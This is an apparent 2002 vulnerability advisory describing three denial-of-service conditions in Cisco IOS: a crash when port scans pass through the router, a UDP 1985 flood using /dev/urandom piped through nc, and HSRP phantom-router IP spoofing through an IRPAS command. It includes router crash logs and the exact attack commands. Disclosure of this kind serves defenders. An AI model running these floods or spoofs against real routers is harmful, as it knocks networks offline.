Three possible DoS attacks against some IOS versions.

There are three possible unreported DoS conditions in certain versions of

IOS I could get my hands on.

1. When scanning all 65535 ports from a single host using nmap (full

connect/half connect/null/fin/ack/xmas) through a Cisco 2611 running

C2600-IO3-M, Version 12.1(6.5)the router crashes. Same applies to

scanning a class C network for a single open port. This was discovered

while auditing a corporate network.

Enableing or disableing: CBAC, IDS, IP Accounting and applied extended

ACL's with logging, does not effect the results ie. the problem persists.

Here comes the log :

OS (tm) C2600 Software (C2600-IO3-M), Version 12.1(6.5), MAINTENANCE

INTERIM SOFTWARE Copyright (c) 1986-2001 by cisco Systems, Inc.

Compiled Mon 29-Jan-01 19:20 by kellythw

hippo#ping cisco.com

Type escape sequence to abort.

Sending 5, 100-byte ICMP Echos to 198.133.219.25, timeout is 2 seconds:

!!!

Success rate is 100 percent (5/5), round-trip min/avg/max = 168/170/173 ms

      < < < < < scan starts > > > > > 

-Process= "IP Input", ipl= 0,

pid= 24 > -Traceback= 802CFCE4 802D19DC 807915D8 80791E04 80792598 8078B37C

803645E8 80363694 80363874 803639D0 802F0864

000010: 00:27:00: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes

failed from 0x802CCB60, pool Processor, alignment 0

-Process= "IP Input", ipl= 0, pid= 24

-Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04

80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864

000011: 00:27:30: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes

failed from 0x802CCB60, pool Processor, alignment 0

-Process= "IP Input", ipl= 0, pid= 24

-Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04

80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864

000012: 00:28:00: %SYS-2-MALLOCFAIL: Memory allocation of 5004 bytes

failed from 0x802CCB60, pool Processor, alignment 0

-Process= "IP Input", ipl= 0, pid= 24

-Traceback= 802CFCE4 802D2230 802CCB64 802CD350 80791488 807915F4 80791E04

80792598 8078B37C 803645E8 80363694 80363874 803639D0 802F0864

hippo#sh stacks 24

Process 24: IP Input

Stack segment 0x80DB0DB4 - 0x80DB3C94

FP: 0x80DB3C68, RA: 0x802DE6D8

FP: 0x80DB3C88, RA: 0x80363998

FP: 0x0, RA: 0x802F0864

hippo#sh run

hippo#

(no response)

root@boar:~# ping cisco.com

ping: unknown host cisco.com

The router does not respond. Connection is lost. CPU utilisation reaches

90 - 100 %. This bug is different from Cisco Bug ID CSCds07326i, here the

scan is going through the router and is not directed at it.

2. In certain versions of IOS UDP port 1985 is open when HSRP is not

running.

For example:

nmap -sU -vvv -O -p1985 192.168.1.254

Starting nmap V. 2.54BETA34 ( www.insecure.org/nmap/ )

Host (192.168.1.254) appears to be up … good.

Initiating UDP Scan against (192.168.1.254)

The UDP Scan took 0 seconds to scan 1 ports.

Adding open port 1985/udp

Warning: OS detection will be MUCH less reliable because we did not find

at least 1 open and 1 closed TCP port.

Interesting ports on (192.168.1.254):

Port State Service

1985/udp open unknown

Remote OS guesses: Cisco IOS 11.1(7)-11.2(8.10), Cisco 4500-M running IOS

11.3(6) IP Plus, Cisco IOS 11.3 - 12.0(11), Cisco 1600/3640/7513 Router

(IOS 11.2(14)P), Cisco IOS v11.14(CA)/12.0.2aT1/v12.0.3T

However, a) tcpdump did not show any hsrp packets on the network

     b) attempts to communicate with the router via HSRP using IRPAS

     (http://www.phenoelit.de/irpas/), successful when HSRP is 

     running, failed to illicit any response.

Flooding 1985 with randomly sized UDP packets (cat /dev/urandom pipe via

nc as UDP etc.,) leads to CPU utilisation above 90% and eventually the

router crashes. Besides the presence of this open port, where it should be

shut, assists in remote OS fingerprinting.

I have checked this with a number of system administrators I know; here

are the stats for udp port 1985 on their routers I've collected:

Open 1985: 12.1(8a)E5 Catalyst 6k R700, 11.2(23) C2500-I-L, 12.2(2)XI

(c827), 12.1(9) (C2500-I-L), 11.1(16) (c1000), 12.0(4)XM (c805), 12.2(2)T1

(C2600-IK8O3S);

Closed 1985: 12.0(3)T (C2500-I-L), 12.0(9) (c1600), 11.3(8)T1 (c2600),

12.0(3)T (c1720), 12.2(3) (c1720), 12.0(16) (C2500-I-L), 12.0(5)XQ

(C1700-NY-M);

In general, 12.0.x does not appear to have this potential problem.

Out of the routers checked, 50 % had udp 1985 open. All routers with

1985 open were succeptible to DoS via 1985 UDP flood. None had HSRP

enabled and running.

3. While using IRPAS to test the "bug" above I have found the following.

The 12.1.x IOS implementation of HSRP fails to check the IP address of the

phantom router against the IP address of the interface on which HSRP is

running when the IP is advertised from the remote host using IRPAS. This

results in a conflict over the IP address for the interface, bypassing

normal sanity checks.

An obvious DoS condition is created, since the phantom router can be

remotely given an IP address of a local interface through which packets

enter the Active router, thus leading to a loop.

Example :

./hsrp -d 192.168.1.253 -v 192.168.1.254 -a cisco -g 1 -i eth0

where 192.168.1.253 - IP of a phantom router, 192.168.1.254 - IP of an

active router interface on which the standby 1 ip 192.168.1.253 command is

configured.

000059: 00:10:34: %STANDBY-6-STATECHANGE: Standby: 1: Ethernet0/1 state

Active -> Speak

000060: 00:10:34: %STANDBY-3-DIFFVIP1: Ethernet0/1 Group 1 active routers

virtual IP address 192.168.1.254 is different to the locally configured

address 192.168.1.253

May 6 18:28:26 192.168.1.254 324: 000317: 2d17h: %STANDBY-3-DUPADDR:

Duplicate address 192.168.1.254 on Ethernet0/1, sourced by 0050.043a.ff60

Nevretheless, the router goes into standby and 192.168.1.254 is taken as a

phantom's IP.

Interestingly, ./hsrp -d 192.168.1.253 -v 192.168.1.254 -a cisco -g 1 -i

eth0 -S 192.168.1.254 does not appear to have any effect and the packets

are dropped.

Setting a good password while enabling HSRP (something that should be done

anyway !) provides a temporary solution for this problem. Unfortunately, I

have seen networks running HSRP with default password "cisco".

Vendor status: PSIRT was informed on 07.05.02

Asknowledgements to: the Arhont team, Phenoelit team/Fyodor for tools,

the rest of the open source community.

  Andrew A. Vladimirov

      aka _clf3_

      Arhont LTD

     www.arhont.com

    Security Manager

      CCNP / CCDP